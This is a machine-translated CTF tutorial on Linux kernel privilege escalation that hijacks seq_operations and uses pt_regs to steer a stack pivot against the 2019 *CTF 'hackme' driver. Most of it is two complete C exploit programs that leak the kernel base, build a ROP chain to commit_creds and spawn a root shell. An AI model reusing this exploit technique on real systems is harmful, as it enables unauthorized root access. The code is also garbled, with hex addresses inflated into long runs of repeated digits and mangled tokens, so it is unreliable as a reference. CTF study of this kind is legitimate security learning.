In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-18 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >
Share
Shulou(Shulou.com)05/31 Report--
In this article, the editor introduces in detail "how kernel hijacks seq operations using pt regs". The content is detailed, the steps are clear, and the details are handled properly. I hope this article "how kernel hijacks seq operations using pt regs" can help you solve your doubts. Let's follow the editor's ideas to learn new knowledge.
Hijack seq_operations for stack migration
Seq_operations is a structure with the size of 0x20, which will be applied when opened / proc/self/stat. Four function pointers are defined, through which the kernel base address can be disclosed.
Struct seq_operations {void * (* start) (struct seq_file * m, loff_t * pos); void (* stop) (struct seq_file * m, void * v); void * (* next) (struct seq_file * m, void * v, loff_t * pos); int (* show) (struct seq_file * m, void * v);}
When we read a stat file, the kernel calls the proc_read_iter pointer of proc_ops
Ssize_t seq_read_iter (struct kiocb * iocb, struct iov_iter * iter) {struct seq_file * m = iocb- > ki_filp- > private_data; / /. P = m-> op- > start (m, & m-> index); / /.
The seq_operations- > start pointer will be called, and we only need to override the start pointer to a specific gadget to control the program execution flow.
Try this game by shutting down smap with 2019 * starctf hackme
Exp1#include # include int fd;size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;size_t user_cs, user_ss, user_sp, user_rflags;size_t raw_vmlinux_base = 0xffffffffffffffffffffffffffffffffffffffffffffffffs81000000X sizeyogt rop [0x100] = {0}; struct Heap {size_t index; char * data Size_t len; size_t offset;}; void add (int index, size_t len, char * data) {struct Heap heap; heap.index = index; heap.data = data; heap.len = len; ioctl (fd, 0x30000, & heap);} void delete (int index) {struct Heap heap; heap.index = index; ioctl (fd, 0x30001, & heap) } void edit (int index, size_t len, size_t offset, char * data) {struct Heap heap; heap.index = index; heap.data = data; heap.len = len; heap.offset = offset; ioctl (fd, 0x30002, & heap);} void show (int index, size_t len, size_t offset, char * data) {struct Heap heap; heap.index = index Heap.data = data; heap.len = len; heap.offset = offset; ioctl (fd, 0x30003, & heap);} void save_status () {_ _ asm__ ("mov user_cs, cs;"mov user_ss, ss;"mov user_sp, rsp;"pushf;"pop user_rflags;") Puts ("[+] save the state success!");} void get_shell () {if (getuid () = = 0) {puts ("[+] get root"); / / system ("/ bin/sh"); char * shell = "/ bin/sh"; char * args [] = {shell, NULL} Execve (shell, args, NULL);} else {puts ("[-] get shell error"); sleep (3); exit (0);}} void get_root (void) {/ / commit_creds (prepare_kernel_cred (0)) Void * (* pkc) (int) = (void * (*) (int)) prepare_kernel_cred; void (* cc) (void *) = (void (*) (void *)) commit_creds; (* cc) ((* pkc) (0));} int main () {char buf [0x1000] = {0}; int I; size_t seq_data [4] = {0}; save_status () Fd = open ("/ dev/hackme", 0); if (fd
< 0) { puts("[-] open file error"); exit(0); } add(0, 0x20, buf); // 0 add(1, 0x20, buf); // 1 add(2, 0x20, buf); // 2 add(3, 0x20, buf); // 3 delete(0); delete(2); int fd_seq = open("/proc/self/stat", 0); if(fd_seq < 0) { puts("[-] open stat error"); exit(0); } show(3, 0x20, -0x20, buf); vmlinux_base = ((size_t *)buf)[0] - 0xd30c0; printf("[+] vmlinux_base=>0x%lx\ n ", vmlinux_base); off = vmlinux_base-raw_vmlinux_base; commit_creds = off + 0xffffffffffff8104d220; prepare_kernel_cred = off + 0xffffffffffff8104d3d0; show (1, 0x20,-0x20, buf); heap_base= ((size_t *) buf) [0]-0x80; printf (" [+] heap_base= > 0x%lx\ n ", heap_base); I = 0 Rop [ionization +] = off + 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff Rop [ionization +] = 0; rop [ionization +] = off + 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff / / xchg eax, esp; ret; edit (3, 0x20,-0x20, buf); size_t fake_stack = (heap_base + 0x40) & 0xfffffffffff; size_t mmap_base = fake_stack & 0xfffff000 If (mmap ((void *) mmap_base, 0x30000, 7, 0x22,-1,0)! = (void *) mmap_base) {puts ("[-] mmap error"); sleep (3); exit (0) } else puts ("[+] mmap success"); memcpy ((void *) fake_stack, rop, sizeof (rop)); read (fd_seq, buf, 1); return 0;} using pt_regs
You can write the following assembly to control the program execution flow, and then ROP by putting the register on the stack
_ asm__ ("mov R15,0x11111111111111;"mov R14,0x2222222222;"mov R13,0x333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333"mov R12,0x4444444444;" mov rbp, 0x555555555555; "mov rbx, 0x666666666666;" mov R11,0x7777777777; "mov R10, 0x88888888;" mov R9, 0x9999999999; "mov R8, 0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "" mov rdx, 8; "" mov rsi, rsp; "" mov rdi, fd_seq; "" xor rax, rax; "" syscall ")
Why is that? Everyone knows that the system call is the process of executing syscall after arranging the value of the register and entering the entry_SYSCALL_64 function in the kernel through the gate structure. There is an instruction inside this function:
PUSH_AND_CLEAR_REGS rax=$-ENOSYS
This instruction is so clever that it presses all the registers on the stack to form a pt_regs structure at the bottom of the kernel stack.
Struct pt_regs {/ * * C ABI says these regs are callee-preserved. They aren't saved on kernel entry * unless syscall needs a complete, fully filled "struct pt_regs" * / unsigned long R15; unsigned long R14; unsigned long R13; unsigned long R12; unsigned long rbp; unsigned long rbx;/* These regs are callee-clobbered. Always saved on kernel entry. * / unsigned long R11; unsigned long R10; unsigned long R9; unsigned long R8; unsigned long rax; unsigned long rcx; unsigned long rdx; unsigned long rsi; unsigned long rdi;/* * On syscall entry, this is syscall#. On CPU exception, this is error code. * On hw interrupt, it's IRQ number: * / unsigned long orig_rax;/* Return frame for iretq * / unsigned long rip; unsigned long cs; unsigned long eflags; unsigned long rsp; unsigned long ss;/* top of stack page * /}
Here the register r8-r15 will be put on the stack. If we can reasonably control the value of these registers and find an add rsp, and the register of xxxh; ret; is placed in the position of seq_operations- > start, then we can control the program execution flow. Considering that there are generally only 4-5 registers stored continuously on the stack here.
We can use commit_creds (& init_cred) instead of commit_creds (prepare_kernel_cred (NULL))
The layout is as follows:
Pop_rdi_ret;init_cred;commit_creds;swapgs_restore_regs_and_return_to_usermode
Since I couldn't find a suitable add rsp here, xxxh; ret;, left a debug semi-finished exp.
Exp2#include # include int fd;size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;size_t user_cs, user_ss, user_sp, user_rflags;size_t raw_vmlinux_base = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81000000X sizeyogt rop [0x100] = {0}; int fd_seq;struct Heap {size_t index Char * data; size_t len; size_t offset;}; void add (int index, size_t len, char * data) {struct Heap heap; heap.index = index; heap.data = data; heap.len = len; ioctl (fd, 0x30000, & heap);} void delete (int index) {struct Heap heap; heap.index = index; ioctl (fd, 0x30001, & heap) } void edit (int index, size_t len, size_t offset, char * data) {struct Heap heap; heap.index = index; heap.data = data; heap.len = len; heap.offset = offset; ioctl (fd, 0x30002, & heap);} void show (int index, size_t len, size_t offset, char * data) {struct Heap heap; heap.index = index Heap.data = data; heap.len = len; heap.offset = offset; ioctl (fd, 0x30003, & heap);} void save_status () {_ _ asm__ ("mov user_cs, cs;"mov user_ss, ss;"mov user_sp, rsp;"pushf;"pop user_rflags;") Puts ("[+] save the state success!");} void get_shell () {if (getuid () = = 0) {puts ("[+] get root"); / / system ("/ bin/sh"); char * shell = "/ bin/sh"; char * args [] = {shell, NULL} Execve (shell, args, NULL);} else {puts ("[-] get shell error"); sleep (3); exit (0);}} void get_root (void) {/ / commit_creds (prepare_kernel_cred (0)) Void * (* pkc) (int) = (void * (*) (int)) prepare_kernel_cred; void (* cc) (void *) = (void (*) (void *)) commit_creds; (* cc) ((* pkc) (0));} int main () {char buf [0x1000] = {0}; int I; size_t seq_data [4] = {0}; save_status () Fd = open ("/ dev/hackme", 0); if (fd
< 0) { puts("[-] open file error"); exit(0); } add(0, 0x20, buf); // 0 add(1, 0x20, buf); // 1 delete(0); fd_seq = open("/proc/self/stat", 0); if(fd_seq < 0) { puts("[-] open stat error"); exit(0); } show(1, 0x20, -0x20, buf); vmlinux_base = ((size_t *)buf)[0] - 0xd30c0; printf("[+] vmlinux_base=>0x%lx\ n ", vmlinux_base); off = vmlinux_base-raw_vmlinux_base; commit_creds = off + 0xffffffffff8104d220; prepare_kernel_cred = off + 0xffffffffffff8104d3d0; size_t gadget = 0xffffffffffff8103018e; / / xchg eax, esp; ret; ((size_t *) buf) [0] = gadget; edit (1, 0x20,-0x20, buf); _ asm__ (" mov r15, 0x1111111111 "" mov R14,0x2222222222; "" mov R13,0x3333333333333333; "" mov R12,0x44444444; "mov rbp, 0x5555555555;" mov rbx, 0x66666666; "mov r11,0x77777777;"mov R10,0x88888888;"mov R9, 0x99999999;"mov R8, 0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "" mov rsi, rsp; "" mov rdi, fd_seq; "" xor rax, rax; "" syscall "); return 0 } after reading this, the article "how kernel hijacked seq operations with pt regs" has been introduced. If you want to master the knowledge points of this article, you still need to practice and use it yourself. If you want to learn more about related articles, please follow the industry information channel.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.